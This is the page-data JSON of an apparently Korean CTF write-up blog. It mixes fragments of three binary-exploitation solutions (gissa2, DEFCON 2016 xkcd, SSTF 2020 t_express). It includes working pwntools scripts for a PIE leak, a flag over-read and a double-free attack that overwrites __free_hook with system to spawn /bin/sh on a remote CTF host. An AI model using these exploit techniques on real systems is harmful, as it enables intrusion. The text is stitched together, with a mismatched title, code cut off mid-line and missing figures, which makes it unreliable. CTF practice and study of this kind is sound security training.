{ "componentChunkName": "component---src-templates-blog-template-js", "path": "/midnightsun_gissa2_ctf_writeup/", "result": {"data":{"cur":{"id":"3a6ce68e-5f38-5cbe-a8a3-fd593d70a17d","html":"

취약점 분석

\n

바이너리 개요

\n

보호기법

\n

\n \n \n

\n

보호기법

\n\n

바이너리 정보

\n
gissa_igen: ELF 64-bit LSB shared object\nx86-64, version 1 (SYSV)\ndynamically linked\ninterpreter /lib64/ld-linux-x86-64.so.2\nBuildID[sha1]=734a8aeeff274eb59ee3c7ac733056d95b41e80f\nstripped
\n

바이너리 분석

\n

메인 출력

\n

\n \n \n

\n

메인 출력 부분

\n\n

system call 추적

\n

\n \n \n

\n

strace

\n\n

SECCOMP_MODE_FILTER LIST

\n\n

\n \n \n

\n

main 함수 지역 변수

\n\n

sub_91E 함수 분석

\n

\n \n \n

\n

strlen

\n\n

\n \n \n

\n

sub_777

\n

\n \n \n

\n

sub_88B

\n\n

\n \n \n

\n

main 함수2

\n\n

Integer Issue

\n

\n \n \n

\n

integer issue

\n\n

메모리 주소 노출, 스택 버퍼 오버플러우

\n

\n ,payload)\n\n# PIE leak\npayload = p8(0xff)*140\npayload += p16(0xffff)*2\npayload += p8(0xff)*(0xa0-len(payload))\n\np.send(payload)\np.recvuntil(\"): \")\np.recv(160)\npie_addr = u64(p.recv(6).ljust(8,\n'\\x00'))\nlog.info(\"PIE_leak : \"+hex(pie_addr))\n\n# lib base\npie_base = pie_addr - 0xbb7\nlog.info(\"PIE_base : \"+hex(pie_base))\np.interactive()\n

    \n
  1. buf size 증가\n\n
    2. \n
  2. PIE leak 공간 만들기\n\n
    3. \n
  3. PIE leak\n\n
    4. \n
  4. 160 바이트까지 응답을 받은 후에 PIE 주소 값을 긁어와 베이스 주소를 구하자
    5. \n
\n

\n \n \n

\n

leak pie

\n

64bit ROP

\n

seccomp_filter_mode 우회

\n\n

\n \n \n

\n

do_syscall_64

\n\n

\n \n \n

\n

bit

\n\n

64bit ROP

\n

\n \n \n

\n

ROP Gadget

\n

\n \n \n

\n

기타 정보

\n\n

보호기법

\n\n

바이너리 분석

\n
root@e5e68faa5052:/home/Zer0Luck/challenges/xkcd# ./xkcd \nCould not open the flag.\n\n-> 현재 디렉토리에 flag 파일을 생성한 후에 분석을 시도하자
\n

main 함수 분석

\n

\n \n \n

\n\n

\n \n \n

\n

strtok

\n\n

\n \n \n

\n

globals 전역 변수

\n\n

\n \n \n

\n

0x200 바이트 차이

\n

\n \n \n

\n

해결 방안

\n

공격

\n\n
from pwn import *\ne = ELF(\"./xkcd\")\nflag = ''\n\nfor i in range(1, 257):\n    p = process(\"./xkcd\")\n    data = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY \"%s\" (%d)'%(\"A\"*512, 512+i)\n    p.sendline(data)    \n    print p.recvline().strip(\"A\")
\n

\n \n \n

\n

security check

\n\n

바이너리 정보

\n
ELF 64-bit LSB shared object\nx86-64, version 1 (SYSV)\ndynamically linked\ninterpreter /lib64/ld-linux-x86-64.so.2\nfor GNU/Linux 3.2.0\nBuildID[sha1]=842cbd24d75c0dea40dc2e06f4996948eb59a897\nwith debug_info\nnot stripped
\n

바이너리 분석

\n

바이너리 로직 흐름

\n

\n \n \n

\n

main output

\n\n

Buy 메뉴

\n

\n \n \n

\n

Buy 메뉴

\n\n

View 메뉴

\n

\n \n \n {: width=“60%” height=“60%“}

\n

View 메뉴

\n

Use 메뉴

\n\n

\n \n \n

\n

pass5 구조체 구현

\n\n

\n \n \n

\n

buy_ticket 함수 내부

\n\n

\n \n \n

\n

pass5 멤버 변수 데이터 삽입

\n\n

read_str 함수 분석 (off-by-one 취약점)

\n

\n \n \n

\n

read_str 함수

\n\n

View_ticket 함수 분석 (out-of-bound, integer issues)

\n

\n \n \n

\n\n

\n \n \n

\n

ticket_type이 0일 경우 내부 조건

\n

\n \n \n {: width=“50%” height=“50%“}

\n

free 조건

\n\n

\n \n \n

\n

heap chunk

\n\n

해제

\n

\n \n \n

\n

free1

\n\n

\n \n \n

\n

Double Free Bug

\n\n

해결 방안

\n

공격

\n

공격 시나리오

\n\n

인터페이스

\n
from pwn import *\n\ne = ELF('./t_express')\nl = ELF('./libc.so.6')\np = process('./t_express')\n# p = remote('ctf.campus.theori.io', 7079)\n\ndef Buy(num, first, last):\n    log.info(p.sendafter(\"choice: \", \"1\"))\n    log.info(p.sendafter(\"(1/2): \", str(num))+str(num))\n    log.info(p.sendafter(\"First name: \", str(first)) + str(first))\n    log.info(p.sendafter(\"Last name: \", str(last)) + str(last))\n\ndef View(idx):\n    log.info(p.sendafter(\"choice: \", \"2\"))\n    log.info(p.sendafter(\"Index of ticket: \", str(idx)) + str(idx))\n    # leak (lib_base)\n    if idx < 0:\n        log.info(p.recvuntil(\"|name |\"))\n        lib_base = u64(p.recvline()[-9:-3].ljust(8, '\\x00')\n                       ) - 0x83 - l.sym['_IO_2_1_stderr_']\n        log.info(\"lib_base : \" + hex(lib_base) )\n        return lib_base\n    else:\n        log.info(p.recvuntil(\"==========================\\n\"))\n        log.info(p.recvuntil(\"==========================\\n\"))\n\ndef Use(idx, num):\n    log.info(p.sendafter(\"choice: \", \"3\"))\n    log.info(p.sendafter(\"Index of ticket: \", str(idx)) + str(idx))\n    log.info(p.sendafter(\"(1/2/3/4): \", str(num)) + str(num))\n\ndef _free(idx):\n    for i in range(0,3):\n        Use(idx, 1)\n    Use(idx, 2)\n    Use(idx, 3)
\n

라이브러리 주소 노출

\n
def View(idx):\n    log.info(p.sendafter(\"choice: \", \"2\"))\n    log.info(p.sendafter(\"Index of ticket: \", str(idx)) + str(idx))\n    # leak (lib_base)\n    if idx < 0:\n        log.info(p.recvuntil(\"|name |\"))\n        lib_base = u64(p.recvline()[-9:-3].ljust(8, '\\x00')\n                       ) - 0x83 - l.sym['_IO_2_1_stderr_']\n        log.info(\"lib_base : \" + hex(lib_base) )\n        return lib_base\n    else:\n        log.info(p.recvuntil(\"==========================\\n\"))\n        log.info(p.recvuntil(\"==========================\\n\"))
\n

\n \n \n

\n

라이브러리 주소

\n

off-by-one을 바탕으로 ticket_type 0으로 변경

\n
Buy(1, \"AAAA\", \"BBBBBBBB\")\nBuy(2, \"AAAA\", \"BBBB\")
\n

\n \n \n

\n

첫 번째 할당 페이지

\n

첫 번째 해제후 키값 확인

\n
_free(1)
\n

\n \n \n

\n

키 값 변조

\n\n

\n )\nl = ELF('./libc.so.6')\n# p = process('./t_express')\np = remote('ctf.campus.theori.io', 7079)\n\ndef Buy(num, first, last):\n log.info(p.sendafter(\"choice: \", \"1\"))\n log.info(p.sendafter(\"(1/2): \", str(num))+str(num))\n log.info(p.sendafter(\"First name: \", str(first)) + str(first))\n log.info(p.sendafter(\"Last name: \", str(last)) + str(last))\n\ndef View(idx):\n log.info(p.sendafter(\"choice: \", \"2\"))\n log.info(p.sendafter(\"Index of ticket: \", str(idx)) + str(idx))\n # leak (lib_base)\n if idx < 0:\n log.info(p.recvuntil(\"|name |\"))\n lib_base = u64(p.recvline()[-9:-3].ljust(8, '\\x00')\n ) - 0x83 - l.sym['_IO_2_1_stderr_']\n log.info(\"lib_base : \" + hex(lib_base) )\n return lib_base\n else:\n log.info(p.recvuntil(\"==========================\\n\"))\n log.info(p.recvuntil(\"==========================\\n\"))\n\ndef Use(idx, num):\n log.info(p.sendafter(\"choice: \", \"3\"))\n log.info(p.sendafter(\"Index of ticket: \", str(idx)) + str(idx))\n log.info(p.sendafter(\"(1/2/3/4): \", str(num)) + str(num))\n\ndef _free(idx):\n for i in range(0,3):\n Use(idx, 1)\n Use(idx, 2)\n Use(idx, 3)\n\nlib_base = View(-4)\n\nBuy(1, \"AAAA\", \"BBBBBBBB\")\nBuy(2, \"AAAA\", \"BBBB\")\n\n_free(1)\n\nfor i in range(0,2):\n Use(0, 4)\n Use(1, 4)\n\nlib_system = lib_base + l.sym['system']\nfree_hook = lib_base + l.sym['__free_hook']\n\nlog.info(hex(lib_system))\nlog.info(hex(free_hook))\n\nBuy(2, p64(free_hook), \"BBBB\")\nBuy(2, \"/bin/sh\\x00\", \"BBBB\")\nBuy(2, p64(lib_system), \"BBBB\")\n\n_free(3)\np.interactive()\n

\n\n
","frontmatter":{"date":"September 18, 2020","title":"SSTF 2020 t_express","categories":"CTF","author":"Zer0Luck","emoji":"🥛"},"fields":{"slug":"/sstf2020_t_express_ctf_writeup/"}},"site":{"siteMetadata":{"siteUrl":"https://zer0luck.kr","comments":{"utterances":{"repo":"dnsdudrla97/dnsdudrla97.github.io"}}}}},"pageContext":{"slug":"/midnightsun_gissa2_ctf_writeup/","nextSlug":"/defcon2016_xkcd_ctf_writeup/","prevSlug":"/sstf2020_t_express_ctf_writeup/"}}, "staticQueryHashes": ["1073350324","1956554647","2938748437"]}